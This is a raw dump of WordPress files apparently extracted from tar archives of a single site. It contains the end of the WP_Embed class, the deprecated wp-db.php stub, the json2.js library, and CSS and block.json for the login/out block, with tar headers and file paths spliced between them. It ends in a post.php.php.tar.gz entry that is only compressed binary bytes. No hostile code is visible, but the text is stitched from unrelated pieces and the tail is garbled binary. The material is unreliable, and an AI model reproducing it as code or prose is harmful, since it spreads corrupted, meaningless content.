					if ( false !== $return ) {
						/**
						 * Filters the returned embed HTML.
						 *
						 * @since 2.9.0
						 *
						 * @see WP_Embed::shortcode()
						 *
						 * @param string $return The HTML result of the shortcode.
						 * @param string $url    The embed URL.
						 * @param array  $attr   An array of shortcode attributes.
						 */
						return apply_filters( 'embed_handler_html', $return, $url, $attr );
					}
				}
			}
		}

		return false;
	}

	/**
	 * The do_shortcode() callback function.
	 *
	 * Attempts to convert a URL into embed HTML. Starts by checking the URL against the regex of
	 * the registered embed handlers. If none of the regex matches and it's enabled, then the URL
	 * will be given to the WP_oEmbed class.
	 *
	 * @param array  $attr {
	 *     Shortcode attributes. Optional.
	 *
	 *     @type int $width  Width of the embed in pixels.
	 *     @type int $height Height of the embed in pixels.
	 * }
	 * @param string $url The URL attempting to be embedded.
	 * @return string|false The embed HTML on success, otherwise the original URL.
	 *                      `->maybe_make_link()` can return false on failure.
	 */
	public function shortcode( $attr, $url = '' ) {
		$post = get_post();

		if ( empty( $url ) && ! empty( $attr['src'] ) ) {
			$url = $attr['src'];
		}

		$this->last_url = $url;

		if ( empty( $url ) ) {
			$this->last_attr = $attr;
			return '';
		}

		$rawattr = $attr;
		$attr    = wp_parse_args( $attr, wp_embed_defaults( $url ) );

		$this->last_attr = $attr;

		/*
		 * KSES converts & into &amp; and we need to undo this.
		 * See https://core.trac.wordpress.org/ticket/11311
		 */
		$url = str_replace( '&amp;', '&', $url );

		// Look for known internal handlers.
		$embed_handler_html = $this->get_embed_handler_html( $rawattr, $url );
		if ( false !== $embed_handler_html ) {
			return $embed_handler_html;
		}

		$post_id = ( ! empty( $post->ID ) ) ? $post->ID : null;

		// Potentially set by WP_Embed::cache_oembed().
		if ( ! empty( $this->post_ID ) ) {
			$post_id = $this->post_ID;
		}

		// Check for a cached result (stored as custom post or in the post meta).
		$key_suffix    = md5( $url . serialize( $attr ) );
		$cachekey      = '_oembed_' . $key_suffix;
		$cachekey_time = '_oembed_time_' . $key_suffix;

		/**
		 * Filters the oEmbed TTL value (time to live).
		 *
		 * @since 4.0.0
		 *
		 * @param int    $time    Time to live (in seconds).
		 * @param string $url     The attempted embed URL.
		 * @param array  $attr    An array of shortcode attributes.
		 * @param int    $post_id Post ID.
		 */
		$ttl = apply_filters( 'oembed_ttl', DAY_IN_SECONDS, $url, $attr, $post_id );

		$cache      = '';
		$cache_time = 0;

		$cached_post_id = $this->find_oembed_post_id( $key_suffix );

		if ( $post_id ) {
			$cache      = get_post_meta( $post_id, $cachekey, true );
			$cache_time = get_post_meta( $post_id, $cachekey_time, true );

			if ( ! $cache_time ) {
				$cache_time = 0;
			}
		} elseif ( $cached_post_id ) {
			$cached_post = get_post( $cached_post_id );

			$cache      = $cached_post->post_content;
			$cache_time = strtotime( $cached_post->post_modified_gmt );
		}

		$cached_recently = ( time() - $cache_time ) < $ttl;

		if ( $this->usecache || $cached_recently ) {
			// Failures are cached. Serve one if we're using the cache.
			if ( '{{unknown}}' === $cache ) {
				return $this->maybe_make_link( $url );
			}

			if ( ! empty( $cache ) ) {
				/**
				 * Filters the cached oEmbed HTML.
				 *
				 * @since 2.9.0
				 *
				 * @see WP_Embed::shortcode()
				 *
				 * @param string $cache   The cached HTML result, stored in post meta.
				 * @param string $url     The attempted embed URL.
				 * @param array  $attr    An array of shortcode attributes.
				 * @param int    $post_id Post ID.
				 */
				return apply_filters( 'embed_oembed_html', $cache, $url, $attr, $post_id );
			}
		}

		/**
		 * Filters whether to inspect the given URL for discoverable link tags.
		 *
		 * @since 2.9.0
		 * @since 4.4.0 The default value changed to true.
		 *
		 * @see WP_oEmbed::discover()
		 *
		 * @param bool $enable Whether to enable `<link>` tag discovery. Default true.
		 */
		$attr['discover'] = apply_filters( 'embed_oembed_discover', true );

		// Use oEmbed to get the HTML.
		$html = wp_oembed_get( $url, $attr );

		if ( $post_id ) {
			if ( $html ) {
				update_post_meta( $post_id, $cachekey, $html );
				update_post_meta( $post_id, $cachekey_time, time() );
			} elseif ( ! $cache ) {
				update_post_meta( $post_id, $cachekey, '{{unknown}}' );
			}
		} else {
			$has_kses = false !== has_filter( 'content_save_pre', 'wp_filter_post_kses' );

			if ( $has_kses ) {
				// Prevent KSES from corrupting JSON in post_content.
				kses_remove_filters();
			}

			$insert_post_args = array(
				'post_name'   => $key_suffix,
				'post_status' => 'publish',
				'post_type'   => 'oembed_cache',
			);

			if ( $html ) {
				if ( $cached_post_id ) {
					wp_update_post(
						wp_slash(
							array(
								'ID'           => $cached_post_id,
								'post_content' => $html,
							)
						)
					);
				} else {
					wp_insert_post(
						wp_slash(
							array_merge(
								$insert_post_args,
								array(
									'post_content' => $html,
								)
							)
						)
					);
				}
			} elseif ( ! $cache ) {
				wp_insert_post(
					wp_slash(
						array_merge(
							$insert_post_args,
							array(
								'post_content' => '{{unknown}}',
							)
						)
					)
				);
			}

			if ( $has_kses ) {
				kses_init_filters();
			}
		}

		// If there was a result, return it.
		if ( $html ) {
			/** This filter is documented in wp-includes/class-wp-embed.php */
			return apply_filters( 'embed_oembed_html', $html, $url, $attr, $post_id );
		}

		// Still unknown.
		return $this->maybe_make_link( $url );
	}

	/**
	 * Deletes all oEmbed caches. Unused by core as of 4.0.0.
	 *
	 * @param int $post_id Post ID to delete the caches for.
	 */
	public function delete_oembed_caches( $post_id ) {
		$post_metas = get_post_custom_keys( $post_id );
		if ( empty( $post_metas ) ) {
			return;
		}

		foreach ( $post_metas as $post_meta_key ) {
			if ( str_starts_with( $post_meta_key, '_oembed_' ) ) {
				delete_post_meta( $post_id, $post_meta_key );
			}
		}
	}

	/**
	 * Triggers a caching of all oEmbed results.
	 *
	 * @param int $post_id Post ID to do the caching for.
	 */
	public function cache_oembed( $post_id ) {
		$post = get_post( $post_id );

		$post_types = get_post_types( array( 'show_ui' => true ) );

		/**
		 * Filters the array of post types to cache oEmbed results for.
		 *
		 * @since 2.9.0
		 *
		 * @param string[] $post_types Array of post type names to cache oEmbed results for. Defaults to post types with `show_ui` set to true.
		 */
		$cache_oembed_types = apply_filters( 'embed_cache_oembed_types', $post_types );

		if ( empty( $post->ID ) || ! in_array( $post->post_type, $cache_oembed_types, true ) ) {
			return;
		}

		// Trigger a caching.
		if ( ! empty( $post->post_content ) ) {
			$this->post_ID  = $post->ID;
			$this->usecache = false;

			$content = $this->run_shortcode( $post->post_content );
			$this->autoembed( $content );

			$this->usecache = true;
		}
	}

	/**
	 * Passes any unlinked URLs that are on their own line to WP_Embed::shortcode() for potential embedding.
	 *
	 * @see WP_Embed::autoembed_callback()
	 *
	 * @param string $content The content to be searched.
	 * @return string Potentially modified $content.
	 */
	public function autoembed( $content ) {
		// Replace line breaks from all HTML elements with placeholders.
		$content = wp_replace_in_html_tags( $content, array( "\n" => '<!-- wp-line-break -->' ) );

		if ( preg_match( '#(^|\s|>)https?://#i', $content ) ) {
			// Find URLs on their own line.
			$content = preg_replace_callback( '|^(\s*)(https?://[^\s<>"]+)(\s*)$|im', array( $this, 'autoembed_callback' ), $content );
			// Find URLs in their own paragraph.
			$content = preg_replace_callback( '|(<p(?: [^>]*)?>\s*)(https?://[^\s<>"]+)(\s*<\/p>)|i', array( $this, 'autoembed_callback' ), $content );
		}

		// Put the line breaks back.
		return str_replace( '<!-- wp-line-break -->', "\n", $content );
	}

	/**
	 * Callback function for WP_Embed::autoembed().
	 *
	 * @param array $matches A regex match array.
	 * @return string The embed HTML on success, otherwise the original URL.
	 */
	public function autoembed_callback( $matches ) {
		$oldval              = $this->linkifunknown;
		$this->linkifunknown = false;
		$return              = $this->shortcode( array(), $matches[2] );
		$this->linkifunknown = $oldval;

		return $matches[1] . $return . $matches[3];
	}

	/**
	 * Conditionally makes a hyperlink based on an internal class variable.
	 *
	 * @param string $url URL to potentially be linked.
	 * @return string|false Linked URL or the original URL. False if 'return_false_on_fail' is true.
	 */
	public function maybe_make_link( $url ) {
		if ( $this->return_false_on_fail ) {
			return false;
		}

		$output = ( $this->linkifunknown ) ? '<a href="' . esc_url( $url ) . '">' . esc_html( $url ) . '</a>' : $url;

		/**
		 * Filters the returned, maybe-linked embed URL.
		 *
		 * @since 2.9.0
		 *
		 * @param string $output The linked or original URL.
		 * @param string $url    The original URL.
		 */
		return apply_filters( 'embed_maybe_make_link', $output, $url );
	}

	/**
	 * Finds the oEmbed cache post ID for a given cache key.
	 *
	 * @since 4.9.0
	 *
	 * @param string $cache_key oEmbed cache key.
	 * @return int|null Post ID on success, null on failure.
	 */
	public function find_oembed_post_id( $cache_key ) {
		$cache_group    = 'oembed_cache_post';
		$oembed_post_id = wp_cache_get( $cache_key, $cache_group );

		if ( $oembed_post_id && 'oembed_cache' === get_post_type( $oembed_post_id ) ) {
			return $oembed_post_id;
		}

		$oembed_post_query = new WP_Query(
			array(
				'post_type'              => 'oembed_cache',
				'post_status'            => 'publish',
				'name'                   => $cache_key,
				'posts_per_page'         => 1,
				'no_found_rows'          => true,
				'cache_results'          => true,
				'update_post_meta_cache' => false,
				'update_post_term_cache' => false,
				'lazy_load_term_meta'    => false,
			)
		);

		if ( ! empty( $oembed_post_query->posts ) ) {
			// Note: 'fields' => 'ids' is not being used in order to cache the post object as it will be needed.
			$oembed_post_id = $oembed_post_query->posts[0]->ID;
			wp_cache_set( $cache_key, $oembed_post_id, $cache_group );

			return $oembed_post_id;
		}

		return null;
	}
}
14338/wp-db.php.tar000064400000004000151024420100007514 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/wp-db.php000064400000000675151024212340023100 0ustar00<?php
/**
 * WordPress database access abstraction class.
 *
 * This file is deprecated, use 'wp-includes/class-wpdb.php' instead.
 *
 * @deprecated 6.1.0
 * @package WordPress
 */

if ( function_exists( '_deprecated_file' ) ) {
	// Note: WPINC may not be defined yet, so 'wp-includes' is used here.
	_deprecated_file( basename( __FILE__ ), '6.1.0', 'wp-includes/class-wpdb.php' );
}

/** wpdb class */
require_once __DIR__ . '/class-wpdb.php';
14338/json2.js.tar000064400000047000151024420100007372 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/json2.js000064400000043766151024230670023401 0ustar00/*
    json2.js
    2015-05-03

    Public Domain.

    NO WARRANTY EXPRESSED OR IMPLIED. USE AT YOUR OWN RISK.

    See http://www.JSON.org/js.html


    This code should be minified before deployment.
    See http://javascript.crockford.com/jsmin.html

    USE YOUR OWN COPY. IT IS EXTREMELY UNWISE TO LOAD CODE FROM SERVERS YOU DO
    NOT CONTROL.


    This file creates a global JSON object containing two methods: stringify
    and parse. This file is provides the ES5 JSON capability to ES3 systems.
    If a project might run on IE8 or earlier, then this file should be included.
    This file does nothing on ES5 systems.

        JSON.stringify(value, replacer, space)
            value       any JavaScript value, usually an object or array.

            replacer    an optional parameter that determines how object
                        values are stringified for objects. It can be a
                        function or an array of strings.

            space       an optional parameter that specifies the indentation
                        of nested structures. If it is omitted, the text will
                        be packed without extra whitespace. If it is a number,
                        it will specify the number of spaces to indent at each
                        level. If it is a string (such as '\t' or '&nbsp;'),
                        it contains the characters used to indent at each level.

            This method produces a JSON text from a JavaScript value.

            When an object value is found, if the object contains a toJSON
            method, its toJSON method will be called and the result will be
            stringified. A toJSON method does not serialize: it returns the
            value represented by the name/value pair that should be serialized,
            or undefined if nothing should be serialized. The toJSON method
            will be passed the key associated with the value, and this will be
            bound to the value

            For example, this would serialize Dates as ISO strings.

                Date.prototype.toJSON = function (key) {
                    function f(n) {
                        // Format integers to have at least two digits.
                        return n < 10 
                            ? '0' + n 
                            : n;
                    }

                    return this.getUTCFullYear()   + '-' +
                         f(this.getUTCMonth() + 1) + '-' +
                         f(this.getUTCDate())      + 'T' +
                         f(this.getUTCHours())     + ':' +
                         f(this.getUTCMinutes())   + ':' +
                         f(this.getUTCSeconds())   + 'Z';
                };

            You can provide an optional replacer method. It will be passed the
            key and value of each member, with this bound to the containing
            object. The value that is returned from your method will be
            serialized. If your method returns undefined, then the member will
            be excluded from the serialization.

            If the replacer parameter is an array of strings, then it will be
            used to select the members to be serialized. It filters the results
            such that only members with keys listed in the replacer array are
            stringified.

            Values that do not have JSON representations, such as undefined or
            functions, will not be serialized. Such values in objects will be
            dropped; in arrays they will be replaced with null. You can use
            a replacer function to replace those with JSON values.
            JSON.stringify(undefined) returns undefined.

            The optional space parameter produces a stringification of the
            value that is filled with line breaks and indentation to make it
            easier to read.

            If the space parameter is a non-empty string, then that string will
            be used for indentation. If the space parameter is a number, then
            the indentation will be that many spaces.

            Example:

            text = JSON.stringify(['e', {pluribus: 'unum'}]);
            // text is '["e",{"pluribus":"unum"}]'


            text = JSON.stringify(['e', {pluribus: 'unum'}], null, '\t');
            // text is '[\n\t"e",\n\t{\n\t\t"pluribus": "unum"\n\t}\n]'

            text = JSON.stringify([new Date()], function (key, value) {
                return this[key] instanceof Date 
                    ? 'Date(' + this[key] + ')' 
                    : value;
            });
            // text is '["Date(---current time---)"]'


        JSON.parse(text, reviver)
            This method parses a JSON text to produce an object or array.
            It can throw a SyntaxError exception.

            The optional reviver parameter is a function that can filter and
            transform the results. It receives each of the keys and values,
            and its return value is used instead of the original value.
            If it returns what it received, then the structure is not modified.
            If it returns undefined then the member is deleted.

            Example:

            // Parse the text. Values that look like ISO date strings will
            // be converted to Date objects.

            myData = JSON.parse(text, function (key, value) {
                var a;
                if (typeof value === 'string') {
                    a =
/^(\d{4})-(\d{2})-(\d{2})T(\d{2}):(\d{2}):(\d{2}(?:\.\d*)?)Z$/.exec(value);
                    if (a) {
                        return new Date(Date.UTC(+a[1], +a[2] - 1, +a[3], +a[4],
                            +a[5], +a[6]));
                    }
                }
                return value;
            });

            myData = JSON.parse('["Date(09/09/2001)"]', function (key, value) {
                var d;
                if (typeof value === 'string' &&
                        value.slice(0, 5) === 'Date(' &&
                        value.slice(-1) === ')') {
                    d = new Date(value.slice(5, -1));
                    if (d) {
                        return d;
                    }
                }
                return value;
            });


    This is a reference implementation. You are free to copy, modify, or
    redistribute.
*/

/*jslint 
    eval, for, this 
*/

/*property
    JSON, apply, call, charCodeAt, getUTCDate, getUTCFullYear, getUTCHours,
    getUTCMinutes, getUTCMonth, getUTCSeconds, hasOwnProperty, join,
    lastIndex, length, parse, prototype, push, replace, slice, stringify,
    test, toJSON, toString, valueOf
*/


// Create a JSON object only if one does not already exist. We create the
// methods in a closure to avoid creating global variables.

if (typeof JSON !== 'object') {
    JSON = {};
}

(function () {
    'use strict';
    
    var rx_one = /^[\],:{}\s]*$/,
        rx_two = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g,
        rx_three = /"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g,
        rx_four = /(?:^|:|,)(?:\s*\[)+/g,
        rx_escapable = /[\\\"\u0000-\u001f\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g,
        rx_dangerous = /[\u0000\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g;

    function f(n) {
        // Format integers to have at least two digits.
        return n < 10 
            ? '0' + n 
            : n;
    }
    
    function this_value() {
        return this.valueOf();
    }

    if (typeof Date.prototype.toJSON !== 'function') {

        Date.prototype.toJSON = function () {

            return isFinite(this.valueOf())
                ? this.getUTCFullYear() + '-' +
                        f(this.getUTCMonth() + 1) + '-' +
                        f(this.getUTCDate()) + 'T' +
                        f(this.getUTCHours()) + ':' +
                        f(this.getUTCMinutes()) + ':' +
                        f(this.getUTCSeconds()) + 'Z'
                : null;
        };

        Boolean.prototype.toJSON = this_value;
        Number.prototype.toJSON = this_value;
        String.prototype.toJSON = this_value;
    }

    var gap,
        indent,
        meta,
        rep;


    function quote(string) {

// If the string contains no control characters, no quote characters, and no
// backslash characters, then we can safely slap some quotes around it.
// Otherwise we must also replace the offending characters with safe escape
// sequences.

        rx_escapable.lastIndex = 0;
        return rx_escapable.test(string) 
            ? '"' + string.replace(rx_escapable, function (a) {
                var c = meta[a];
                return typeof c === 'string'
                    ? c
                    : '\\u' + ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
            }) + '"' 
            : '"' + string + '"';
    }


    function str(key, holder) {

// Produce a string from holder[key].

        var i,          // The loop counter.
            k,          // The member key.
            v,          // The member value.
            length,
            mind = gap,
            partial,
            value = holder[key];

// If the value has a toJSON method, call it to obtain a replacement value.

        if (value && typeof value === 'object' &&
                typeof value.toJSON === 'function') {
            value = value.toJSON(key);
        }

// If we were called with a replacer function, then call the replacer to
// obtain a replacement value.

        if (typeof rep === 'function') {
            value = rep.call(holder, key, value);
        }

// What happens next depends on the value's type.

        switch (typeof value) {
        case 'string':
            return quote(value);

        case 'number':

// JSON numbers must be finite. Encode non-finite numbers as null.

            return isFinite(value) 
                ? String(value) 
                : 'null';

        case 'boolean':
        case 'null':

// If the value is a boolean or null, convert it to a string. Note:
// typeof null does not produce 'null'. The case is included here in
// the remote chance that this gets fixed someday.

            return String(value);

// If the type is 'object', we might be dealing with an object or an array or
// null.

        case 'object':

// Due to a specification blunder in ECMAScript, typeof null is 'object',
// so watch out for that case.

            if (!value) {
                return 'null';
            }

// Make an array to hold the partial results of stringifying this object value.

            gap += indent;
            partial = [];

// Is the value an array?

            if (Object.prototype.toString.apply(value) === '[object Array]') {

// The value is an array. Stringify every element. Use null as a placeholder
// for non-JSON values.

                length = value.length;
                for (i = 0; i < length; i += 1) {
                    partial[i] = str(i, value) || 'null';
                }

// Join all of the elements together, separated with commas, and wrap them in
// brackets.

                v = partial.length === 0
                    ? '[]'
                    : gap
                        ? '[\n' + gap + partial.join(',\n' + gap) + '\n' + mind + ']'
                        : '[' + partial.join(',') + ']';
                gap = mind;
                return v;
            }

// If the replacer is an array, use it to select the members to be stringified.

            if (rep && typeof rep === 'object') {
                length = rep.length;
                for (i = 0; i < length; i += 1) {
                    if (typeof rep[i] === 'string') {
                        k = rep[i];
                        v = str(k, value);
                        if (v) {
                            partial.push(quote(k) + (
                                gap 
                                    ? ': ' 
                                    : ':'
                            ) + v);
                        }
                    }
                }
            } else {

// Otherwise, iterate through all of the keys in the object.

                for (k in value) {
                    if (Object.prototype.hasOwnProperty.call(value, k)) {
                        v = str(k, value);
                        if (v) {
                            partial.push(quote(k) + (
                                gap 
                                    ? ': ' 
                                    : ':'
                            ) + v);
                        }
                    }
                }
            }

// Join all of the member texts together, separated with commas,
// and wrap them in braces.

            v = partial.length === 0
                ? '{}'
                : gap
                    ? '{\n' + gap + partial.join(',\n' + gap) + '\n' + mind + '}'
                    : '{' + partial.join(',') + '}';
            gap = mind;
            return v;
        }
    }

// If the JSON object does not yet have a stringify method, give it one.

    if (typeof JSON.stringify !== 'function') {
        meta = {    // table of character substitutions
            '\b': '\\b',
            '\t': '\\t',
            '\n': '\\n',
            '\f': '\\f',
            '\r': '\\r',
            '"': '\\"',
            '\\': '\\\\'
        };
        JSON.stringify = function (value, replacer, space) {

// The stringify method takes a value and an optional replacer, and an optional
// space parameter, and returns a JSON text. The replacer can be a function
// that can replace values, or an array of strings that will select the keys.
// A default replacer method can be provided. Use of the space parameter can
// produce text that is more easily readable.

            var i;
            gap = '';
            indent = '';

// If the space parameter is a number, make an indent string containing that
// many spaces.

            if (typeof space === 'number') {
                for (i = 0; i < space; i += 1) {
                    indent += ' ';
                }

// If the space parameter is a string, it will be used as the indent string.

            } else if (typeof space === 'string') {
                indent = space;
            }

// If there is a replacer, it must be a function or an array.
// Otherwise, throw an error.

            rep = replacer;
            if (replacer && typeof replacer !== 'function' &&
                    (typeof replacer !== 'object' ||
                    typeof replacer.length !== 'number')) {
                throw new Error('JSON.stringify');
            }

// Make a fake root object containing our value under the key of ''.
// Return the result of stringifying the value.

            return str('', {'': value});
        };
    }


// If the JSON object does not yet have a parse method, give it one.

    if (typeof JSON.parse !== 'function') {
        JSON.parse = function (text, reviver) {

// The parse method takes a text and an optional reviver function, and returns
// a JavaScript value if the text is a valid JSON text.

            var j;

            function walk(holder, key) {

// The walk method is used to recursively walk the resulting structure so
// that modifications can be made.

                var k, v, value = holder[key];
                if (value && typeof value === 'object') {
                    for (k in value) {
                        if (Object.prototype.hasOwnProperty.call(value, k)) {
                            v = walk(value, k);
                            if (v !== undefined) {
                                value[k] = v;
                            } else {
                                delete value[k];
                            }
                        }
                    }
                }
                return reviver.call(holder, key, value);
            }


// Parsing happens in four stages. In the first stage, we replace certain
// Unicode characters with escape sequences. JavaScript handles many characters
// incorrectly, either silently deleting them, or treating them as line endings.

            text = String(text);
            rx_dangerous.lastIndex = 0;
            if (rx_dangerous.test(text)) {
                text = text.replace(rx_dangerous, function (a) {
                    return '\\u' +
                            ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
                });
            }

// In the second stage, we run the text against regular expressions that look
// for non-JSON patterns. We are especially concerned with '()' and 'new'
// because they can cause invocation, and '=' because it can cause mutation.
// But just to be safe, we want to reject all unexpected forms.

// We split the second stage into 4 regexp operations in order to work around
// crippling inefficiencies in IE's and Safari's regexp engines. First we
// replace the JSON backslash pairs with '@' (a non-JSON character). Second, we
// replace all simple value tokens with ']' characters. Third, we delete all
// open brackets that follow a colon or comma or that begin the text. Finally,
// we look to see that the remaining characters are only whitespace or ']' or
// ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.

            if (
                rx_one.test(
                    text
                        .replace(rx_two, '@')
                        .replace(rx_three, ']')
                        .replace(rx_four, '')
                )
            ) {

// In the third stage we use the eval function to compile the text into a
// JavaScript structure. The '{' operator is subject to a syntactic ambiguity
// in JavaScript: it can begin a block or an object literal. We wrap the text
// in parens to eliminate the ambiguity.

                j = eval('(' + text + ')');

// In the optional fourth stage, we recursively walk the new structure, passing
// each name/value pair to a reviver function for possible transformation.

                return typeof reviver === 'function'
                    ? walk({'': j}, '')
                    : j;
            }

// If the text is not JSON parseable, then a SyntaxError is thrown.

            throw new SyntaxError('JSON.parse');
        };
    }
}());14338/loginout.tar000064400000016000151024420100007560 0ustar00style-rtl.min.css000064400000000051151024245510007772 0ustar00.wp-block-loginout{box-sizing:border-box}style.min.css000064400000000051151024245510007173 0ustar00.wp-block-loginout{box-sizing:border-box}block.json000064400000002424151024245510006532 0ustar00{
	"$schema": "https://schemas.wp.org/trunk/block.json",
	"apiVersion": 3,
	"name": "core/loginout",
	"title": "Login/out",
	"category": "theme",
	"description": "Show login & logout links.",
	"keywords": [ "login", "logout", "form" ],
	"textdomain": "default",
	"attributes": {
		"displayLoginAsForm": {
			"type": "boolean",
			"default": false
		},
		"redirectToCurrent": {
			"type": "boolean",
			"default": true
		}
	},
	"example": {
		"viewportWidth": 350
	},
	"supports": {
		"className": true,
		"color": {
			"background": true,
			"text": false,
			"gradients": true,
			"link": true
		},
		"spacing": {
			"margin": true,
			"padding": true,
			"__experimentalDefaultControls": {
				"margin": false,
				"padding": false
			}
		},
		"typography": {
			"fontSize": true,
			"lineHeight": true,
			"__experimentalFontFamily": true,
			"__experimentalFontWeight": true,
			"__experimentalFontStyle": true,
			"__experimentalTextTransform": true,
			"__experimentalTextDecoration": true,
			"__experimentalLetterSpacing": true,
			"__experimentalDefaultControls": {
				"fontSize": true
			}
		},
		"__experimentalBorder": {
			"radius": true,
			"color": true,
			"width": true,
			"style": true
		},
		"interactivity": {
			"clientNavigation": true
		}
	},
	"style": "wp-block-loginout"
}
style-rtl.css000064400000000056151024245510007215 0ustar00.wp-block-loginout{
  box-sizing:border-box;
}style.css000064400000000056151024245510006416 0ustar00.wp-block-loginout{
  box-sizing:border-box;
}14338/post.php.php.tar.gz000064400000167720151024420100010720 0ustar00��~DZ(
�����耠�[)��H���lYK��O���!9�A0�(���w��{��IN׭��2�I����^;g��o�U�u=�΋��EQ�9��lo�(ϋz\̊��g��t5�W''��Z͖��qu�w1�-g��jR�{�^�g���c~_|�Y��;���ŝ;����w�|�������'����NЛ���e�0]�}�
��l��?��}�=�E���hv��y�<�ǯ��"��ZL�D��i�:��<ۻ}{o�8��٢8-��"_��lomG�"_u�<+�rV.�|�&eKӬ�.ΊYփ�,C묬��rQL�<�E�����/}�N^��6�Yd��8���:Y��;q#�o���w�o���F>��߻g&Z,G��$_M��i~\L�w�o߾E�*@���[=��70������Q�^��d�[�Y~^���y9����g�g1��I6+.��Eu��w~��ݢ���W��r��j�X���xUN�嬗�&��l�����ƪ.�j6�f�j�[��˳��F���Z-��b�6pˎ��,^9{�:�	����������Kܦ^�}�V�<��΋e>2���U�o��
��D��o>W��*X[�j��g��Ž�U]���"_���|�w}�Ok�{Q\,�en���?W��r�Т��I1-��(�g#���7�z5�W�e��e�޲\N�K��j��Z�ѿ�g���Y^N��b1G6D`������[��tB�s��K���xS�f��X�ݓjq�Ð�����9�˦�w�8�E�!�����,�tj��x��5�����8D�P��o����[����&��}3�!���SZ)c~��{���R�O�lN2\��$C�+ŀ�����<^�`ZqS���=�3�||S�:���B|kV7��h��A~a�5�j&1@;���G�}O�`d�v$�����L�<��?6ϩ���MY\ߚ/�Q��,G�N�yv1���ƍ���g�ߗ���ف�2CJj^�S�S�Vh��ҁ:P�lL�SWe�&��Kl�����3��	�����j>�����l3��
	z7r}N����7#���G�-������^��؝��|(���#����#$��դ�|Ɣul�������@��z>���2=���P�L�ň��_�%[�����V˒!!�?~6b����!v|�ם�u�?�g��-�a/�>>�kN�:�|�	=�4Bk�m߄L#h�4S����p��*{b:X�ܩV���/y��9^�L�7e(]Xc3�t³�<+��I�[-ׁ�0�N,~o�l�2����J�ģ-�z�xd�I����K}���z7�!>[��fho��q�1�K-�jU�W��k��J�.d.-���gQ��V�l��M��Ut(�F�3	�w�?M��h�pm�h�;����V��[ݔ�5[�H^;�[@\GH�7�ӕ~4�뛒|"���k�C�iG��}��$�^��ۮ��Q���^+gb�l��HTI~O��j��JD����	��H�o��G��$�o���.�Aw��E`%�S������)X��K��T�=�uu\@�Ґ|@�$���������ָ�k~��<-.RMB�n�J�D�P�۠�.5��tDL,��i�6�-D�o&m^�d�Y��T��$���*��Ug��0��r��g����tg����W|Y�w�	k�Y'~�݉��M������Z8�]8J��I�q�a$�a��)�}�Ƥ�7p������4�j�8�,'�N�!Q�E�z9j��I��ׅ�V����8�u�w���3{^�s��z��4�� �Bd��.v���������
�70��"�������c��.��i5~}3�n'�7f	�qei;	����� D�V��C�t���YJ�����آ�uJ�[�4��.��T��]�Lj�q�� �cq>n�情��97�$Яi��z'�ܘ����`��~�@�G��5�/[@z��3�0��0�6�Ys�N�I]
�af?6�ydz�kn�ُB8��M�X0�j4Y�'�^b�Q��2�(�R	f�����~�^�'fl�4Jk�h��NZ����.�*��e��W��f#��@���/�b���8���X��j��
B��"W%�'�g\�zt�ZL�!7�A6�h*��\��E��/2����{�`��X�FA�R�p�Mտ�t�N&�n�9��:�/�مy��cu���RZ�,7g��N��/�޻��V�]��}Ꝧ ]l��{h���y�;��V�pI��8�mF7�mC'�S@#���gF>[�}<z�0Z7!?�/A���dº|(G?����F~�{���Ze�WjG�q9DY�<����!�눱Z���	��DX-�ƍXOz�[5���UZ��Vn��ɝ�Йh8�๊ø��g��mxo����MA���js۔��w�7E�xx����t43�K3���O�5�.n�1�o�dC��}~
\�B���n:I�nl,_�!��)��n�('E=^�s?�����	��r!�,�&1��^`�>�y}�����}�y�z�g�q#B)8��[?���u�2v�#mb{�����t��MR���nq5��ղ��7Ũ	`
��[%Z�	b�uǍ�E���U1�����⭋�V)��yN�M%i��ӎfW�9]�~Ng��ρ�:.~�W�sl��x=���4��wթ��ӫ]{$"�﬿]��@�5&�q���.����/�*7���׎��&w���&�p��n!��W����7��`�+]J2����L4��\O���Q�/*��n+�*W����׹�4���w�n0<��5F��߮2�]e��e�����o�����f��ow���,��w��[��:Χ�zy)���-��A���%{�P�]/�3vL��:.��X~��mbd��'��f�oZ�_����*�ݐ�r�k��.}X7���7r�"ϼo٘�_��]5Pv#����ZY�"������C$ɬ�M�!p�^d����K�Wo�d���SdV>�l��I �i�OX�}������y���?�tS�� ��7��@ޔ.����mE\c�.����]�q�3nW�E{��B��}7�\�~#�\�,cs�\��r!�k)��rS�\#�nʹpRi�B���~.	���-�J��ɗ����FHSLh�Q�2�V"�$����7��Y�ϧJ�@���V>R	�?j����ȻQ���tn���'W���)�(׽��^0�e$S^5!�ռm;��m����$?/��7"�Z�f�f_ܲC<�����"ԡS�nD���7^��\���Z��~N}�&duW�Ny�~�� '�'r�;�D8�#���F��)�#z�k$`o&y���n�>�<�E�Q�ߨ�o��WG�_>���F��˿O^�ng��_�$��=���rUS)
ڧV��h��^�!��=�[H�n��VDy̻�"����ȹ���C�ΏC�Nt�/��%W8��"�;ͪj��N �S=�g.��~����a��=x�@��{�5b�Z��r�Hs�p�_�(�_T�b̞S�u�m,�Fn'�u��7���ݶ�n�ѷV�m�od�U�iz��x�q�]�?��/�YI�'���zg�^��t��M�Q�mx&_�6����V�:S�����n�<Ս�˷M{A��O=mF�M�]�yw�C6�v��89�S����
�k���~���B<7owp�]�����|��lZB6�lrV�|�ۑ��G[umRu�S_Ό$_��������֣[�Yo�]k5�Fd��L��'���h�æ�
��t�nh�ݸl�A����m������b���=t�~��g�t�
��뺅���M<���;�7�n��{G�q�~OG�|z�M��m�+�;;��=��um��&��Ց��EY�)ꌊK��f$~;�@Y51����SٓGR��/��,����⢜N�S�gYT��3|�������u�z�2rld�+��l@Ԡ�Ύ`���/�Ȏ�W3���e��t����r�@�l5l����Km�j�Ύ/�1�z�~F����tؠF����U1$`e
5�s��o�YY@hR\A�73�iU��9v�p@��3H*WA/���W�¹���G�f�	��m�Ʋ�9/_T��V��ڋ�p>˶U�r��Җ���U5�Ԓ6�
